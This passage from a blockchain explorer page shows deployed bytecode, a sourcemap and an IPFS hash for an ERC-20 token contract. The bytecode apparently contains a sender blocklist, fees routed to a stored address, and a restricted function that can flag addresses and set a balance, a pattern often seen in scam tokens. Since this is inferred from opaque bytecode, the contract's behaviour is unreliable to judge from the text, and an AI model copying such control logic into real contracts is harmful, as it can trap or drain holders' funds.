163c4a11628f55a4df523b3ef90610f879086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611470565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107291906114b5565b8160018151811061108557611085611470565b6001600160a01b039283166020918202929092010152600d546110b091309161010090041684610918565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed90859060009086903090429060040161151e565b600060405180830381600087803b15801561110757600080fd5b505af1925050508015611118575060015b5047801561115c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561115a573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061061a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7a565b600061061a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b6000806111fc838561158f565b90508381101561061a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b6000818361126f5760405162461bcd60e51b8152600401610677919061127c565b506000610eab84866114e9565b600060208083528351808285015260005b818110156112a95785810183015185820160400152820161128d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112df57600080fd5b50565b600080604083850312156112f557600080fd5b8235611300816112ca565b946020939093013593505050565b6000806000806060858703121561132457600080fd5b8435801515811461133457600080fd5b935060208501359250604085013567ffffffffffffffff8082111561135857600080fd5b818701915087601f83011261136c57600080fd5b81358181111561137b57600080fd5b8860208260051b850101111561139057600080fd5b95989497505060200194505050565b6000806000606084860312156113b457600080fd5b83356113bf816112ca565b925060208401356113cf816112ca565b929592945050506040919091013590565b6000602082840312156113f257600080fd5b813561061a816112ca565b6000806040838503121561141057600080fd5b823561141b816112ca565b9150602083013561142b816112ca565b809150509250929050565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016114ae576114ae611486565b5060010190565b6000602082840312156114c757600080fd5b815161061a816112ca565b80820281158282048414176104f8576104f8611486565b60008261150657634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104f8576104f8611486565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104f8576104f861148656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a9664736f6c63430008110033
Deployed Bytecode Sourcemap
3748:6514:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6276:161;;;;;;;;;;-1:-1:-1;6276:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6276:161:0;1023:187:1;5238:41:0;;;;;;;;;;-1:-1:-1;5238:41:0;;;;;;;-1:-1:-1;;;;;5238:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5238:41:0;1215:229:1;5784:100:0;;;;;;;;;;-1:-1:-1;5864:12:0;;5784:100;;;1595:25:1;;;1583:2;1568:18;5784:100:0;1449:177:1;5892:374:0;;;;;;;;;;-1:-1:-1;5892:374:0;;;;;:::i;:::-;;:::i;:::-;;8169:313;;;;;;;;;;-1:-1:-1;8169:313:0;;;;;:::i;:::-;;:::i;5619:83::-;;;;;;;;;;-1:-1:-1;5685:9:0;;5619:83;;5685:9;;;;3083:36:1;;3071:2;3056:18;5619:83:0;2941:184:1;4115:50:0;;;;;;;;;;-1:-1:-1;4115:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1632:157;;;;;;;;;;-1:-1:-1;1632:157:0;;;;;:::i;:::-;;:::i;4172:45::-;;;;;;;;;;-1:-1:-1;4172:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5288:119;;;;;;;;;;-1:-1:-1;5288:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5381:18:0;5354:7;5381:18;;;:9;:18;;;;;;;5288:119;1426:79;;;;;;;;;;-1:-1:-1;1464:7:0;1491:6;-1:-1:-1;;;;;1491:6:0;1426:79;;6445:87;;;;;;;;;;;;;:::i;7516:167::-;;;;;;;;;;-1:-1:-1;7516:167:0;;;;;:::i;:::-;;:::i;4270:35::-;;;;;;;;;;;;;;;;5708:26;;;;;;;;;;-1:-1:-1;5708:26:0;;;;-1:-1:-1;;;;;5708:26:0;;;4312:36;;;;;;;;;;;;;;;;4224:37;;;;;;;;;;-1:-1:-1;4224:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8492:143;;;;;;;;;;-1:-1:-1;8492:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8600:18:0;;;8573:7;8600:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8492:143;7691:468;;;;;;;;;;;;;:::i;4001:29::-;;;;;;;;;;-1:-1:-1;4001:29:0;;;;-1:-1:-1;;;;;4001:29:0;;;5530:83;5567:13;5600:5;5593:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;:::o;6276:161::-;6351:4;6368:39;308:10;6391:7;6400:6;6368:8;:39::i;:::-;-1:-1:-1;6425:4:0;6276:161;;;;;:::o;5892:374::-;5989:11;:9;:11::i;:::-;6016:6;6011:248;6024:19;;;6011:248;;;6065:13;6091:17;6099:1;6106;6091:14;:17::i;:::-;6081:27;;;-1:-1:-1;6139:8:0;;6162:4;6123:13;6167:8;;6176:1;6167:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6162:17:0;;;;;;;;;;;;-1:-1:-1;6162:17:0;:28;;-1:-1:-1;;6162:28:0;;;;;;;;;;6206:41;;;;6230:6;;-1:-1:-1;;;;;6230:6:0;6220:17;;;;:9;:17;;;;;:27;;;6206:41;6050:209;;6045:3;;;;:::i;:::-;;;6011:248;;;;5892:374;;;;:::o;8169:313::-;8267:4;8284:36;8294:6;8302:9;8313:6;8284:9;:36::i;:::-;-1:-1:-1;8331:121:0;8340:6;308:10;8362:89;8400:6;8362:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8362:19:0;;;;;;:11;:19;;;;;;;;308:10;8362:33;;;;;;;;;;:37;:89::i;:::-;8331:8;:121::i;:::-;-1:-1:-1;8470:4:0;8169:313;;;;;;:::o;1632:157::-;1339:6;;-1:-1:-1;;;;;1339:6:0;308:10;1339:22;1331:67;;;;-1:-1:-1;;;1331:67:0;;5198:2:1;1331:67:0;;;5180:21:1;;;5217:18;;;5210:30;5276:34;5256:18;;;5249:62;5328:18;;1331:67:0;;;;;;;;;1706:6:::1;:19:::0;;-1:-1:-1;;;;;;1706:19:0::1;-1:-1:-1::0;;;;;1706:19:0;::::1;::::0;;::::1;::::0;;1741:40:::1;::::0;1706:19;;;;1741:40:::1;::::0;1706:6;1741:40:::1;1632:157:::0;:::o;6445:87::-;6484:13;6517:7;6510:14;;;;;:::i;7516:167::-;7594:4;7611:42;308:10;7635:9;7646:6;7611:9;:42::i;7691:468::-;1339:6;;-1:-1:-1;;;;;1339:6:0;308:10;1339:22;1331:67;;;;-1:-1:-1;;;1331:67:0;;5198:2:1;1331:67:0;;;5180:21:1;;;5217:18;;;5210:30;5276:34;5256:18;;;5249:62;5328:18;;1331:67:0;4996:356:1;1331:67:0;7741:35:::1;7798:42;7741:100;;7884:16;-1:-1:-1::0;;;;;7884:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7866:70:0::1;;7945:4;7952:16;-1:-1:-1::0;;;;;7952:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7866:110;::::0;-1:-1:-1;;;;;;7866:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5843:15:1;;;7866:110:0::1;::::0;::::1;5825:34:1::0;5895:15;;5875:18;;;5868:43;5760:18;;7866:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7852:11;:124:::0;;-1:-1:-1;;;;;;7852:124:0::1;-1:-1:-1::0;;;;;7852:124:0;;::::1;;::::0;;7987:15:::1;:34:::0;;-1:-1:-1;;;;;;7987:34:0::1;7852:124;7987:34:::0;;::::1;::::0;::::1;;::::0;;;;8087:12:::1;::::0;8052:4:::1;-1:-1:-1::0;8032:26:0;;;:11:::1;:26;::::0;;;;;;;8067:15;;;::::1;::::0;::::1;8032:52:::0;;;;;;;;:67;;;;8131:11;;;;::::1;8110:34:::0;;:12:::1;:34:::0;;;;;:41;;-1:-1:-1;;8110:41:0::1;-1:-1:-1::0;8110:41:0::1;::::0;;7691:468::o;4747:337::-;-1:-1:-1;;;;;4840:19:0;;4832:68;;;;-1:-1:-1;;;4832:68:0;;6124:2:1;4832:68:0;;;6106:21:1;6163:2;6143:18;;;6136:30;6202:34;6182:18;;;6175:62;-1:-1:-1;;;6253:18:1;;;6246:34;6297:19;;4832:68:0;5922:400:1;4832:68:0;-1:-1:-1;;;;;4919:21:0;;4911:68;;;;-1:-1:-1;;;4911:68:0;;6529:2:1;4911:68:0;;;6511:21:1;6568:2;6548:18;;;6541:30;6607:34;6587:18;;;6580:62;-1:-1:-1;;;6658:18:1;;;6651:32;6700:19;;4911:68:0;6327:398:1;4911:68:0;-1:-1:-1;;;;;4992:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5044:32;;1595:25:1;;;5044:32:0;;1568:18:1;5044:32:0;;;;;;;4747:337;;;:::o;5415:105::-;5482:6;;-1:-1:-1;;;;;5482:6:0;5468:10;:20;5460:52;;;;-1:-1:-1;;;5460:52:0;;6932:2:1;5460:52:0;;;6914:21:1;6971:2;6951:18;;;6944:30;-1:-1:-1;;;6990:18:1;;;6983:50;7050:18;;5460:52:0;6730:344:1;5460:52:0;5415:105::o;2355:248::-;2413:7;2437:1;2442;2437:6;2433:47;;-1:-1:-1;2467:1:0;2460:8;;2433:47;2490:9;2502:5;2506:1;2502;:5;:::i;:::-;2490:17;-1:-1:-1;2535:1:0;2526:5;2530:1;2490:17;2526:5;:::i;:::-;:10;2518:56;;;;-1:-1:-1;;;2518:56:0;;7676:2:1;2518:56:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:31;7846:19;;2518:56:0;7474:397:1;8643:1614:0;8721:4;-1:-1:-1;;;;;8748:18:0;;8740:68;;;;-1:-1:-1;;;8740:68:0;;8078:2:1;8740:68:0;;;8060:21:1;8117:2;8097:18;;;8090:30;8156:34;8136:18;;;8129:62;-1:-1:-1;;;8207:18:1;;;8200:35;8252:19;;8740:68:0;7876:401:1;8740:68:0;-1:-1:-1;;;;;8827:16:0;;8819:64;;;;-1:-1:-1;;;8819:64:0;;8484:2:1;8819:64:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:33;8656:19;;8819:64:0;8282:399:1;8819:64:0;-1:-1:-1;;;;;8903:10:0;;;;;;:4;:10;;;;;;;;8902:11;8894:20;;;;;;8930:16;;;;8927:1323;;;8979:32;8994:4;9000:2;9004:6;8979:14;:32::i;:::-;8972:39;;;;8927:1323;9112:4;9063:28;5381:18;;;:9;:18;;;;;;9138:16;;;;9137:17;:40;;;;-1:-1:-1;;;;;;9159:18:0;;;;;;:12;:18;;;;;;;;9158:19;9137:40;9133:131;;;9212:36;9227:20;9212:14;:36::i;:::-;-1:-1:-1;;;;;9298:15:0;;;;;;:9;:15;;;;;;:27;;9318:6;9298:19;:27::i;:::-;-1:-1:-1;;;;;9280:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9380:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9407:21:0;;;;;;:17;:21;;;;;;;;9380:48;9376:711;;;-1:-1:-1;9462:6:0;9376:711;;;-1:-1:-1;;;;;9552:18:0;;9507:17;9552:18;;;:12;:18;;;;;;;;9549:252;;;9607:37;9640:3;9607:28;9618:16;;9607:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9595:49;;9549:252;;;-1:-1:-1;;;;;9690:16:0;;;;;;:12;:16;;;;;;;;9687:114;;;9743:38;9777:3;9743:29;9754:17;;9743:6;:10;;:29;;;;:::i;:38::-;9731:50;;9687:114;9824:13;;9821:195;;9907:4;9889:24;;;;:9;:24;;;;;;:39;;9918:9;9889:28;:39::i;:::-;9880:4;9862:24;;;;:9;:24;;;;;;;:66;;;;9956:40;;-1:-1:-1;;;;;9956:40:0;;;;;;;9986:9;1595:25:1;;1583:2;1568:18;;1449:177;9956:40:0;;;;;;;;9821:195;10050:21;:6;10061:9;10050:10;:21::i;:::-;10036:35;;9488:599;9376:711;-1:-1:-1;;;;;10131:13:0;;;;;;:9;:13;;;;;;:30;;10149:11;10131:17;:30::i;:::-;-1:-1:-1;;;;;10115:13:0;;;;;;;:9;:13;;;;;;;:46;;;;10181:31;;;;;;;;;;10200:11;1595:25:1;;1583:2;1568:18;;1449:177;10181:31:0;;;;;;;;10234:4;10227:11;;;;;;2155:192;2241:7;2277:12;2269:6;;;;2261:29;;;;-1:-1:-1;;;2261:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2301:9:0;2313:5;2317:1;2313;:5;:::i;:::-;2301:17;2155:192;-1:-1:-1;;;;;2155:192:0:o;7179:329::-;7309:52;;;;;;;;;;;-1:-1:-1;;;7309:52:0;;;;;;;;-1:-1:-1;;;;;7309:17:0;;7272:4;7309:17;;;:9;:17;;;;;;;:52;;7331:6;;7309:21;:52::i;:::-;-1:-1:-1;;;;;7289:17:0;;;;;;;:9;:17;;;;;;:72;;;;7395:20;;;;;;;:32;;7420:6;7395:24;:32::i;:::-;-1:-1:-1;;;;;7372:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7443:35;;;;;;;;;;7471:6;1595:25:1;;1583:2;1568:18;;1449:177;7443:35:0;;;;;;;;-1:-1:-1;7496:4:0;7179:329;;;;;:::o;6540:631::-;5152:16;:23;;-1:-1:-1;;5152:23:0;5171:4;5152:23;;;6646:16:::1;::::0;;6660:1:::1;6646:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6646:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6646:16:0::1;6622:40;;6691:4;6673;6678:1;6673:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6673:23:0::1;;;-1:-1:-1::0;;;;;6673:23:0::1;;;::::0;::::1;6717:15;;;;;;;;;-1:-1:-1::0;;;;;6717:15:0::1;-1:-1:-1::0;;;;;6717:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6707:4;6712:1;6707:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6707:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6784:15:::1;::::0;6752:58:::1;::::0;6769:4:::1;::::0;6784:15:::1;::::0;::::1;;6802:7:::0;6752:8:::1;:58::i;:::-;6827:15;::::0;:193:::1;::::0;-1:-1:-1;;;6827:193:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;6827:15:0::1;::::0;:66:::1;::::0;:193:::1;::::0;6908:7;;6930:1:::1;::::0;6947:4;;6974::::1;::::0;6994:15:::1;::::0;6827:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;6823:208:::0;7066:21:::1;7103:16:::0;;7100:63:::1;;7134:6;::::0;:29:::1;::::0;-1:-1:-1;;;;;7134:6:0;;::::1;::::0;:29;::::1;;;::::0;7150:12;;7134:6:::1;:29:::0;:6;:29;7150:12;7134:6;:29;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7100:63;-1:-1:-1::0;;5198:16:0;:24;;-1:-1:-1;;5198:24:0;;;-1:-1:-1;6540:631:0:o;2011:136::-;2069:7;2096:43;2100:1;2103;2096:43;;;;;;;;;;;;;;;;;:3;:43::i;2611:132::-;2669:7;2696:39;2700:1;2703;2696:39;;;;;;;;;;;;;;;;;:3;:39::i;1822:181::-;1880:7;;1912:5;1916:1;1912;:5;:::i;:::-;1900:17;;1941:1;1936;:6;;1928:46;;;;-1:-1:-1;;;1928:46:0;;10268:2:1;1928:46:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:29;10326:18;;;10319:57;10393:18;;1928:46:0;10066:351:1;2751:189:0;2837:7;2872:12;2865:5;2857:28;;;;-1:-1:-1;;;2857:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2896:9:0;2908:5;2912:1;2908;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:844::-;1732:6;1740;1748;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1917:5;1910:13;1903:21;1896:5;1893:32;1883:60;;1939:1;1936;1929:12;1883:60;1962:5;-1:-1:-1;2014:2:1;1999:18;;1986:32;;-1:-1:-1;2069:2:1;2054:18;;2041:32;2092:18;2122:14;;;2119:34;;;2149:1;2146;2139:12;2119:34;2187:6;2176:9;2172:22;2162:32;;2232:7;2225:4;2221:2;2217:13;2213:27;2203:55;;2254:1;2251;2244:12;2203:55;2294:2;2281:16;2320:2;2312:6;2309:14;2306:34;;;2336:1;2333;2326:12;2306:34;2389:7;2384:2;2374:6;2371:1;2367:14;2363:2;2359:23;2355:32;2352:45;2349:65;;;2410:1;2407;2400:12;2349:65;1631:844;;;;-1:-1:-1;;2441:2:1;2433:11;;-1:-1:-1;;;1631:844:1:o;2480:456::-;2557:6;2565;2573;2626:2;2614:9;2605:7;2601:23;2597:32;2594:52;;;2642:1;2639;2632:12;2594:52;2681:9;2668:23;2700:31;2725:5;2700:31;:::i;:::-;2750:5;-1:-1:-1;2807:2:1;2792:18;;2779:32;2820:33;2779:32;2820:33;:::i;:::-;2480:456;;2872:7;;-1:-1:-1;;;2926:2:1;2911:18;;;;2898:32;;2480:456::o;3130:247::-;3189:6;3242:2;3230:9;3221:7;3217:23;3213:32;3210:52;;;3258:1;3255;3248:12;3210:52;3297:9;3284:23;3316:31;3341:5;3316:31;:::i;3590:388::-;3658:6;3666;3719:2;3707:9;3698:7;3694:23;3690:32;3687:52;;;3735:1;3732;3725:12;3687:52;3774:9;3761:23;3793:31;3818:5;3793:31;:::i;:::-;3843:5;-1:-1:-1;3900:2:1;3885:18;;3872:32;3913:33;3872:32;3913:33;:::i;:::-;3965:7;3955:17;;;3590:388;;;;;:::o;4207:380::-;4286:1;4282:12;;;;4329;;;4350:61;;4404:4;4396:6;4392:17;4382:27;;4350:61;4457:2;4449:6;4446:14;4426:18;4423:38;4420:161;;4503:10;4498:3;4494:20;4491:1;4484:31;4538:4;4535:1;4528:15;4566:4;4563:1;4556:15;4420:161;;4207:380;;;:::o;4592:127::-;4653:10;4648:3;4644:20;4641:1;4634:31;4684:4;4681:1;4674:15;4708:4;4705:1;4698:15;4724:127;4785:10;4780:3;4776:20;4773:1;4766:31;4816:4;4813:1;4806:15;4840:4;4837:1;4830:15;4856:135;4895:3;4916:17;;;4913:43;;4936:18;;:::i;:::-;-1:-1:-1;4983:1:1;4972:13;;4856:135::o;5357:251::-;5427:6;5480:2;5468:9;5459:7;5455:23;5451:32;5448:52;;;5496:1;5493;5486:12;5448:52;5528:9;5522:16;5547:31;5572:5;5547:31;:::i;7079:168::-;7152:9;;;7183;;7200:15;;;7194:22;;7180:37;7170:71;;7221:18;;:::i;7252:217::-;7292:1;7318;7308:132;;7362:10;7357:3;7353:20;7350:1;7343:31;7397:4;7394:1;7387:15;7425:4;7422:1;7415:15;7308:132;-1:-1:-1;7454:9:1;;7252:217::o;8686:128::-;8753:9;;;8774:11;;;8771:37;;;8788:18;;:::i;8951:980::-;9213:4;9261:3;9250:9;9246:19;9292:6;9281:9;9274:25;9318:2;9356:6;9351:2;9340:9;9336:18;9329:34;9399:3;9394:2;9383:9;9379:18;9372:31;9423:6;9458;9452:13;9489:6;9481;9474:22;9527:3;9516:9;9512:19;9505:26;;9566:2;9558:6;9554:15;9540:29;;9587:1;9597:195;9611:6;9608:1;9605:13;9597:195;;;9676:13;;-1:-1:-1;;;;;9672:39:1;9660:52;;9767:15;;;;9732:12;;;;9708:1;9626:9;9597:195;;;-1:-1:-1;;;;;;;9848:32:1;;;;9843:2;9828:18;;9821:60;-1:-1:-1;;;9912:3:1;9897:19;9890:35;9809:3;8951:980;-1:-1:-1;;;8951:980:1:o;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i
Swarm Source
ipfs://140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a96
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.